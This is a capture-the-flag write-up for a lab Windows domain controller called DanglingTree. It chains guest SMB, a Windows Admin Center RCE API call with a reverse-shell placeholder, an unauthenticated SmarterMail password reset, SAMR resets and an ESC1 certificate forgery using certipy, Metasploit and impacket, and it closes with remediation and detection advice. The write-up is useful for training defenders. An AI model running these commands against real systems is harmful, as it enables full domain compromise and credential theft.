DanglingTree
- Target
- danglingtree.htb · host
dc.danglingtree.htb· NetBIOS DANGLINGTREE - Host OS
- Windows Server 2025 (build 26100) — Active Directory Domain Controller
- Foothold
- Guest SMB → leaked creds → CVE-2026-26119 (Windows Admin Center RCE)
- Privesc
- SmarterMail unauth reset → mailbox domain-swap → ACL chain → SAMR reset → ADCS ESC1
anderson.w → SmarterMail unauthenticated
force-reset → svc_mail → mailbox domain-swap / impersonate → noah.b (AD
foothold) → ACL chain → alex.o → SAMR password reset → jake.h →
Template_Editors CreateChild → dangling CA template (ESC1) → forged Administrator
certificate → NT hash → SYSTEM.
01Recon
A textbook AD Domain Controller port profile, with one port that does not belong:
53 DNS 88 Kerberos 135 msrpc 139 netbios
389 LDAP 445 SMB 464 kpasswd 593 http-rpc-epmap
636 LDAPS 80/443 http(s) 3268/3269 GC LDAP(S) 3389 RDP
6600 mshvlm <-- Windows Admin Center
One quirk mattered enough to cost me time later, so it goes first: the bare
danglingtree.htb name resolves through a stale, unreachable A record,
separate from the correct dc.danglingtree.htb record. Anything that resolves the domain
name and treats it as the DC host — certipy without -dc-host, for one — silently fails
with errors that look like permissions problems. Always pin the real hostname and IP.
That "dangling" DNS record is also deliberate foreshadowing. The box's real vulnerability is the same pattern one layer up.
02Foothold — guest SMB to code execution
A readable share and a Rules of Engagement PDF
Guest SMB access was allowed, and the IT share was readable. It held a Rules of
Engagement PDF that carried initial credentials for anderson.w — the kind of document
that exists in every real environment and is almost never treated as a secret.
smbclient -N -L //<dc-ip>/ # enumerate shares as guest
smbclient -N //<dc-ip>/IT # pull the RoE PDF
Windows Admin Center RCE — CVE-2026-26119
Port 6600 is Windows Admin Center. Logged in as anderson.w in the browser, WAC's own
invokeCommand REST API will run arbitrary PowerShell in the WAC service context. In
DevTools, allow pasting first, then drive the API directly:
fetch('/api/services/WinREST/PowerShell/nodes/dc/invokeCommand', {
method: 'POST',
headers: {
'Content-Type': 'application/json; charset=UTF-8',
'X-Xsrf-Token': document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1],
'X-Ms-Sme-Module-Name': 'msft.sme.shell',
'X-Ms-Sme-Module-Version': '6.8.9'
},
body: JSON.stringify({ properties: {
script: "<reverse-shell PowerShell one-liner>",
command: "Get-WACSMServerConnectionStatus",
module: "Microsoft.SME.ServerManager",
state: "ready", useInProcRunspace: false, invokeMode: "Polling"
}})
}).then(r => r.json()).then(console.log)
That lands a shell as danglingtree\anderson.w.
03svc_mail — an unauthenticated password reset
Internally, a customised SmarterMail instance listens on
127.0.0.1:17017 — never exposed externally. A reverse tunnel gets you to it (chisel
works, but the client and server binary versions must match or the tunnel fails silently and
you will blame the wrong thing).
The endpoint POST /api/v1/auth/force-reset-password accepts an
IsSysAdmin: true flag and a target username with no authentication at all:
Invoke-WebRequest -Uri "http://localhost:17017/api/v1/auth/force-reset-password" -Method POST `
-Body '{"IsSysAdmin":"true","OldPassword":"whatever","Username":"svc_mail",
"NewPassword":"<newpass>","ConfirmPassword":"<newpass>"}' `
-ContentType "application/json"
svc_mail is SmarterMail's PrimarySysAdmin, so that single unauthenticated call hands over
an admin console with CanViewPasswords (cleartext mailbox password recovery) and
CanImpersonate.
04noah.b — the domain-swap trick
Most of the harvested mailbox passwords do not reuse against real AD accounts. The one that does
belongs to noah.b, and noah.b has no mailbox on the live
danglingtree.htb domain at all — their data only exists in a detached secondary domain
folder, danglingtree.htb.bak. The console will not show you an account it is not serving.
The way through is to make SmarterMail serve the detached data as if it were live:
- Rename the live domain's data folder aside.
- Detach the live domain in the admin panel.
- Recreate a domain object named
danglingtree.htbwhose Primary Path points at the renamed.bakfolder. - Restart the mail service, then attach
noah.b@danglingtree.htbunder the new domain object. - Use the sysadmin Impersonate User feature and read the password straight out of account settings.
That password reuses on the real AD domain. noah.b is a dead end for direct privilege
escalation — not a local admin, not in Remote Management Users, WinRM denied even over loopback, no
useful ACL edges — but it is a genuine domain foothold, which is all the next stage needs.
# enumerate from the new foothold
bloodyAD --host <dc-ip> -d danglingtree.htb -u noah.b -p '<pass>' get writable
# plus LDAP --computers and group dumps into BloodHound
05alex.o and jake.h — chaining to a certificate-privileged account
BloodHound from noah.b draws the rest of the path:
- A custom group
support-it, whose sole member isalex.o, holdsForceChangePasswordoverjake.h. jake.hsits inHelpdesk_Cert_Support(on paper,ManageCertificateson the CA) and — far more interestingly — in a group calledTemplate_Editors.
alex.o's credentials came from reused external, OSINT-style creds that worked directly
against AD. Resetting jake.h from there is where the box gets fussy: LDAP password
changes (bloodyAD, a raw unicodePwd modify) consistently fail here, because they want
signed/sealed LDAPS that the target will not cooperate on. SAMR does it without complaint:
net rpc password jake.h '<newpass>' \
-U 'danglingtree.htb/alex.o%<alex_pass>' -S <dc-ip>
06The dangling template — ADCS ESC1
Here is the box. certipy-ad find reports the CA publishing several templates as enabled:
certipy-ad find -u jake.h@danglingtree.htb -p '<jake_pass>' \
-dc-ip <dc-ip> -dc-host dc.danglingtree.htb
# enabled: RemoteAccessVPN, EmployeeAuthTemplate, VPNUserTemplate
Query AD for those objects and you get noSuchObject. They do not exist.
The CA is referencing templates that were deleted after being published, or never created — a dangling
reference, exactly like the stale DNS record in recon.
Template_Editors grants CreateChild on
CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,…. Because
the CA already treats one of those names as enabled and published, creating an AD object with
that exact name makes it live and requestable immediately — there is no separate "enable on the CA"
step, which is normally the part you cannot do without CA admin rights.
Populating the low-level PKI attributes (OIDs, flags, schema version) over raw LDAP is tedious, so I used the Metasploit module that does it properly:
use auxiliary/admin/ldap/ad_cs_cert_template
set RHOSTS <dc-ip>
set USERNAME jake.h
set PASSWORD <jake_pass>
set DOMAIN danglingtree.htb
set CERT_TEMPLATE RemoteAccessVPN
set ACTION CREATE
run
set ACTION UPDATE
set TEMPLATE_FILE <metasploit's shipped esc1_template.yaml>
run
The shipped esc1_template.yaml configures exactly ESC1: Enroll granted to
Authenticated Users, and msPKI-Certificate-Name-Flag set to
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT — the requester supplies an arbitrary SAN.
07Domain Admin via a forged certificate
certipy-ad req -u jake.h@danglingtree.htb -p '<jake_pass>' \
-dc-ip <dc-ip> -dc-host dc.danglingtree.htb \
-ca danglingtree-DC-CA -template RemoteAccessVPN \
-upn administrator@danglingtree.htb -sid S-1-5-21-…-500
certipy-ad auth -pfx administrator.pfx -dc-ip <dc-ip>
Two details that will waste your afternoon if you skip them. The -sid is not optional:
without an explicit object SID pinned to Administrator's RID 500, certipy-ad auth refuses
to trust the UPN/SID mapping (this is StrongCertificateBindingEnforcement doing its job). And sync
your clock before authenticating — Kerberos is unforgiving about skew.
That returns the Administrator NT hash. WinRM (5985/5986) is filtered from outside, so evil-winrm is not the way in; impacket over 135/445 is:
impacket-wmiexec administrator@<dc-ip> -hashes <LM>:<NT>
08Dead ends — do not burn the time I did
-
ESC7 via the
SubCAtemplate.Helpdesk_Cert_Supportgivesjake.hManageCertificates, so ESC7 looks like the intended path. It is not.-issue-requestis denied over every transport,-dynamic-endpointincluded, even as a verified group member. It is a red herring pointing at the right technology and the wrong technique. -
The dangling apex DNS record misdirects any tool that resolves the domain name
instead of the DC host. Always pass
-dc-hostand the real IP. - Password resets over LDAP. They fail consistently on this box. Use SAMR.
09If this were your environment
CA publishing certificate templates with no backing AD object
The CA advertised RemoteAccessVPN, EmployeeAuthTemplate and
VPNUserTemplate as enabled while none of them existed in AD. Combined with
CreateChild on the Certificate Templates container held by a non-PKI group, that turns
an ordinary container permission into a live, requestable, ESC1-vulnerable template and full domain
compromise.
- Never leave a published template unbacked. Audit
certutil -CATemplatesand the CA'scertificateTemplatesattribute against the actual objects underCN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration. Unpublish anything that does not resolve, and alert on anoSuchObjectfor a published template. - Treat the Certificate Templates container as Tier 0. A non-PKI-admin group such as
Template_Editorsmust never holdCreateChildthere. - Kill ESC1 at the source: remove
ENROLLEE_SUPPLIES_SUBJECTfrom auth-capable templates and require CA manager approval for issuance. - Enforce strong certificate binding (StrongCertificateBindingEnforcement, 2023 and later) so UPN/SID mismatches are rejected rather than trusted.
DISA STIG: Windows Server 2025 / Active Directory STIG — PKI template ACLs and CA configuration
CIS: CIS Microsoft Windows Server Benchmark · ADCS hardening guidance
Vendor: Microsoft ADCS ESC1–ESC8 guidance; KB on StrongCertificateBindingEnforcement; certutil template auditing
Windows Admin Center remote code execution (CVE-2026-26119)
An authenticated low-privilege user reached arbitrary PowerShell execution in the WAC service
context through the invokeCommand API, on a gateway listening on 6600.
- Patch Windows Admin Center to the fixed build.
- Never expose 6600 to untrusted networks — WAC is a management plane and belongs behind an admin network or jump host.
- Restrict gateway access and run WAC in a least-privilege service context, so RCE in the gateway is not RCE on the DC.
SmarterMail unauthenticated force-reset-password
POST /api/v1/auth/force-reset-password accepted an IsSysAdmin flag from an
unauthenticated caller and reset the mail platform's PrimarySysAdmin, which then exposed cleartext
mailbox passwords and user impersonation.
- Patch SmarterMail; the reset endpoint must require a valid sysadmin session, and privilege flags must never be caller-supplied.
- Do not bind a mail admin API to a reachable interface without authentication — loopback-only is not a control once an attacker has a shell.
- Turn off cleartext password recovery and impersonation unless there is a documented operational need, and audit their use.
AD ACL chain and credential reuse across mail, AD and external services
A helpdesk-style group held ForceChangePassword over a certificate-privileged user, and
the same passwords appeared across the mail platform, AD, and external breach data. Neither is a
vulnerability on its own; together they are the entire middle of the chain.
- Tier your ACLs. Helpdesk groups must not hold password-reset rights over cert-privileged or Tier 0 accounts. Review continuously with BloodHound, not once a year.
- Break password reuse between mail, AD and external services; unique credentials for service accounts; monitor breach corpora for staff addresses.
10Detection — the blue-team side
- Any new object created under the Certificate Templates container — this should be rare and always intentional.
- A template published by the CA with no matching AD object, checked on a schedule.
- Certificate requests carrying an ENROLLEE_SUPPLIES_SUBJECT SAN that does not match the requester.
- SAMR SetUserInfo password resets, especially against privileged or cert-adjacent accounts.
- WAC
invokeCommandspawning shells, and any child process of the WAC service that is not expected. - SmarterMail
force-reset-passwordcalls, and domain detach/attach operations on the mail platform.
11Takeaways
- A dangling reference is a vulnerability, not just untidiness. The stale DNS record and the unbacked CA template are the same bug at different layers — something authoritative pointing at something that no longer exists, and an attacker allowed to supply the missing half.
- The obvious ADCS path was the trap. ESC7 looked handed to me and went nowhere; the real path needed noticing that "enabled" and "exists" are different states.
- Loopback-only services are one shell away from public. The SmarterMail API was never internet-facing and it still gave up the mail platform.
- Know your protocols' quirks. LDAP password resets failed where SAMR worked, WinRM was filtered where WMI was not, and certipy needed an explicit SID. None of that is exploitation — it is just knowing the tools.
- Documents are credentials. The whole chain starts with a Rules of Engagement PDF sitting on a guest-readable share.
◆If this were my environment
The chain used exposed management software, mailbox/domain trust, broad account-reset rights and an unsafe certificate template. I would treat all four as Tier 0 control-plane findings.
- Patch Windows Admin Center and mail software quickly, restrict both to management networks and require phishing-resistant MFA for administrators.
- Protect password-reset and SAMR rights with narrowly scoped groups, approval workflows and alerts for privileged-account changes.
- Review certificate templates for enrollee-supplied subjects, dangerous EKUs and broad enrollment; require manager approval where appropriate.
- Separate email, workstation and domain-admin identities and prevent Tier 0 credentials from reaching lower-tier systems.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.